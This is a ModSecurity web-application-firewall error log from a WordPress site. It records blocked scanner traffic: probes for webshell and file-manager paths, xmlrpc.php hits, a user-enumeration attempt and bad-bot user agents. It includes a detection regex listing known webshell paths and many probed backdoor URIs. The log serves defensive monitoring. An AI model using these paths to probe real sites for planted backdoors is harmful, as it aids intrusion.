[Mon May 04 10:04:08.959874 2026] [:error] [pid 33186:tid 33206] [client 79.137.64.41:57234] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aff-mLqlqe0DcmBS9Vz1KAAAABE"]
[Mon May 04 10:04:10.769074 2026] [:error] [pid 33186:tid 33190] [client 79.137.64.41:38696] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aff-mrqlqe0DcmBS9Vz1KQAAAAE"]
[Mon May 04 10:04:12.940387 2026] [:error] [pid 12051:tid 12069] [client 79.137.64.41:38706] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aff-nOrVB-w_PyOHK6lh_wAAAVA"]
[Mon May 04 10:04:14.884156 2026] [:error] [pid 33186:tid 33210] [client 79.137.64.41:38722] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aff-nrqlqe0DcmBS9Vz1LgAAABU"]
[Mon May 04 10:04:16.930626 2026] [:error] [pid 12022:tid 12028] [client 79.137.64.41:38728] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aff-oEVhgvCNKBWnaTJIvwAAAIQ"]
[Mon May 04 10:04:18.881659 2026] [:error] [pid 33186:tid 33193] [client 79.137.64.41:38730] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aff-orqlqe0DcmBS9Vz1OAAAAAQ"]
[Mon May 04 10:04:20.889971 2026] [:error] [pid 33186:tid 33189] [client 79.137.64.41:37488] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aff-pLqlqe0DcmBS9Vz1OgAAAAA"]
[Mon May 04 10:04:22.988390 2026] [:error] [pid 12051:tid 12077] [client 79.137.64.41:37494] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aff-purVB-w_PyOHK6liBQAAAVg"]
[Mon May 04 10:04:25.011125 2026] [:error] [pid 11959:tid 11995] [client 79.137.64.41:37498] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aff-qQojk2nvxs7h5KvjHAAAAMc"]
[Mon May 04 10:04:26.950229 2026] [:error] [pid 33186:tid 33189] [client 79.137.64.41:37506] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aff-qrqlqe0DcmBS9Vz1QQAAAAA"]
[Mon May 04 10:04:28.767153 2026] [:error] [pid 33186:tid 33206] [client 79.137.64.41:37518] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aff-rLqlqe0DcmBS9Vz1RAAAABE"]
[Mon May 04 10:04:30.967147 2026] [:error] [pid 11959:tid 12003] [client 79.137.64.41:59362] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aff-rgojk2nvxs7h5KvjJAAAAM8"]
[Mon May 04 10:04:32.894507 2026] [:error] [pid 12051:tid 12074] [client 79.137.64.41:59376] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aff-sOrVB-w_PyOHK6liEgAAAVU"]
[Mon May 04 10:04:34.765563 2026] [:error] [pid 11959:tid 12007] [client 79.137.64.41:59392] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aff-sgojk2nvxs7h5KvjMwAAANM"]
[Mon May 04 10:04:36.702670 2026] [:error] [pid 33186:tid 33201] [client 79.137.64.41:59400] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aff-tLqlqe0DcmBS9Vz1fAAAAAw"]
[Mon May 04 10:04:38.783093 2026] [:error] [pid 12022:tid 12030] [client 79.137.64.41:59406] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aff-tkVhgvCNKBWnaTJI8gAAAIY"]
[Mon May 04 10:04:40.788675 2026] [:error] [pid 33186:tid 33209] [client 79.137.64.41:47554] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aff-uLqlqe0DcmBS9Vz1hAAAABQ"]
[Mon May 04 10:04:42.663089 2026] [:error] [pid 12051:tid 12074] [client 79.137.64.41:47562] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aff-uurVB-w_PyOHK6liVgAAAVU"]
[Mon May 04 10:04:44.845993 2026] [:error] [pid 12051:tid 12063] [client 79.137.64.41:47576] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aff-vOrVB-w_PyOHK6liWgAAAUo"]
[Mon May 04 10:04:46.764099 2026] [:error] [pid 12051:tid 12055] [client 79.137.64.41:47578] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aff-vurVB-w_PyOHK6liXQAAAUI"]
[Mon May 04 10:04:48.760411 2026] [:error] [pid 33186:tid 33189] [client 79.137.64.41:47582] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aff-wLqlqe0DcmBS9Vz1jgAAAAA"]
[Mon May 04 10:04:50.788778 2026] [:error] [pid 12022:tid 12027] [client 79.137.64.41:48052] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aff-wkVhgvCNKBWnaTJI9wAAAIM"]
[Mon May 04 10:04:52.834565 2026] [:error] [pid 11959:tid 12007] [client 79.137.64.41:48054] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aff-xAojk2nvxs7h5KvjRAAAANM"]
[Mon May 04 10:04:54.810993 2026] [:error] [pid 12022:tid 12038] [client 79.137.64.41:48060] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aff-xkVhgvCNKBWnaTJI_wAAAI4"]
[Mon May 04 10:49:51.087721 2026] [:error] [pid 33186:tid 33198] [client 181.174.105.73:57098] [client 181.174.105.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.174.105.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afgJT7qlqe0DcmBS9VwNcwAAAAk"]
[Mon May 04 10:49:53.617527 2026] [:error] [pid 12051:tid 12057] [client 181.174.105.73:9327] [client 181.174.105.73] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afgJUerVB-w_PyOHK6lyqwAAAUQ"]
[Mon May 04 10:50:02.678752 2026] [:error] [pid 12051:tid 12055] [client 181.174.105.73:9327] [client 181.174.105.73] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afgJWurVB-w_PyOHK6lytQAAAUI"]
[Mon May 04 12:06:20.841380 2026] [:error] [pid 12022:tid 12043] [client 192.144.148.122:42678] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afgbPEVhgvCNKBWnaTJxEAAAAJM"]
[Mon May 04 12:14:13.270494 2026] [:error] [pid 64610:tid 64625] [client 43.153.215.224:35796] [client 43.153.215.224] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afgdFWhJ7aZW62UOoWg6JQAAAQ0"]
[Mon May 04 13:04:03.092089 2026] [:error] [pid 12051:tid 12059] [client 20.104.98.52:32520] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afgow-rVB-w_PyOHK6mQMwAAAUY"]
[Mon May 04 13:04:06.532042 2026] [:error] [pid 64610:tid 64618] [client 20.104.98.52:12684] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afgoxmhJ7aZW62UOoWhQ8wAAAQY"]
[Mon May 04 13:45:49.449214 2026] [:error] [pid 12051:tid 12077] [client 213.6.76.225:50855] [client 213.6.76.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.6.76.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afgyjerVB-w_PyOHK6mYdQAAAVg"]
[Mon May 04 13:45:59.429640 2026] [:error] [pid 64610:tid 64627] [client 213.6.76.225:51295] [client 213.6.76.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.6.76.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afgyl2hJ7aZW62UOoWhkJQAAAQ8"]
[Mon May 04 13:46:09.791583 2026] [:error] [pid 64610:tid 64630] [client 213.6.76.225:51820] [client 213.6.76.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.6.76.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afgyoWhJ7aZW62UOoWhkPAAAARI"]
[Mon May 04 13:46:20.170523 2026] [:error] [pid 11959:tid 12009] [client 213.6.76.225:52218] [client 213.6.76.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.6.76.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afgyrAojk2nvxs7h5KsLNgAAANU"]
[Mon May 04 13:46:30.537359 2026] [:error] [pid 11958:tid 11971] [client 213.6.76.225:52616] [client 213.6.76.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.6.76.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afgytjAK_o2NLEdfAUlilAAAAEo"]
[Mon May 04 15:45:07.205560 2026] [:error] [pid 61043:tid 61085] [client 136.107.232.91:50631] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afhOg58-LwtfURjiAbBqfAAAAEo"]
[Mon May 04 15:45:07.634820 2026] [:error] [pid 61043:tid 61085] [client 136.107.232.91:52515] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afhOg58-LwtfURjiAbBqoAAAAEo"]
[Mon May 04 15:45:08.065119 2026] [:error] [pid 3341:tid 3355] [client 136.107.232.91:55476] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afhOhE9o3_LordU0wW7qqQAAAIs"]
[Mon May 04 15:59:32.078174 2026] [:error] [pid 61150:tid 61170] [client 193.37.32.173:58381] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afhR5O8QXWVLiwIGVpdCDwAAAVE"]
[Mon May 04 15:59:32.286944 2026] [:error] [pid 61150:tid 61177] [client 193.37.32.139:50841] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "afhR5O8QXWVLiwIGVpdCEAAAAVg"]
[Mon May 04 15:59:37.576393 2026] [:error] [pid 61042:tid 61065] [client 193.37.32.148:60501] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "afhR6UnAPPS1fjubA9QuDgAAANM"]
[Mon May 04 15:59:43.161663 2026] [:error] [pid 3341:tid 3356] [client 193.37.32.145:30985] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "afhR709o3_LordU0wW7xmwAAAIw"]
[Mon May 04 15:59:48.363798 2026] [:error] [pid 61043:tid 61097] [client 193.37.32.134:34343] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "afhR9J8-LwtfURjiAbBulwAAAFY"]
[Mon May 04 15:59:48.592357 2026] [:error] [pid 61043:tid 61083] [client 193.37.32.135:27969] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "afhR9J8-LwtfURjiAbBumAAAAEg"]
[Mon May 04 15:59:53.833518 2026] [:error] [pid 61150:tid 61154] [client 193.37.32.145:51865] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "afhR-e8QXWVLiwIGVpdCUwAAAUE"]
[Mon May 04 16:00:19.074048 2026] [:error] [pid 61044:tid 61108] [client 193.37.32.162:24829] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "afhSE0w8w2zZZXI6H1trHwAAAAY"]
[Mon May 04 16:00:54.353448 2026] [:error] [pid 3341:tid 3345] [client 193.37.32.158:37543] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/edit-tags.php"] [unique_id "afhSNk9o3_LordU0wW7x0QAAAIE"]
[Mon May 04 16:00:54.666905 2026] [:error] [pid 61150:tid 61162] [client 193.37.32.159:22977] [client 193.37.32.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "afhSNu8QXWVLiwIGVpdCtwAAAUk"]
[Mon May 04 16:00:59.936554 2026] [:error] [pid 61042:tid 61070] [client 193.37.32.134:22725] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/core.php"] [unique_id "afhSO0nAPPS1fjubA9QuegAAANg"]
[Mon May 04 16:01:10.253457 2026] [:error] [pid 61044:tid 61104] [client 193.37.32.134:26145] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/speculative8.php"] [unique_id "afhSRkw8w2zZZXI6H1trRgAAAAI"]
[Mon May 04 16:01:25.756910 2026] [:error] [pid 3341:tid 3353] [client 193.37.32.139:20701] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "afhSVU9o3_LordU0wW7yFwAAAIk"]
[Mon May 04 16:01:40.981030 2026] [:error] [pid 3341:tid 3364] [client 193.37.32.145:57969] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "afhSZE9o3_LordU0wW7yMgAAAJQ"]
[Mon May 04 16:01:41.281140 2026] [:error] [pid 3341:tid 3355] [client 193.37.32.135:33995] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "afhSZU9o3_LordU0wW7yNQAAAIs"]
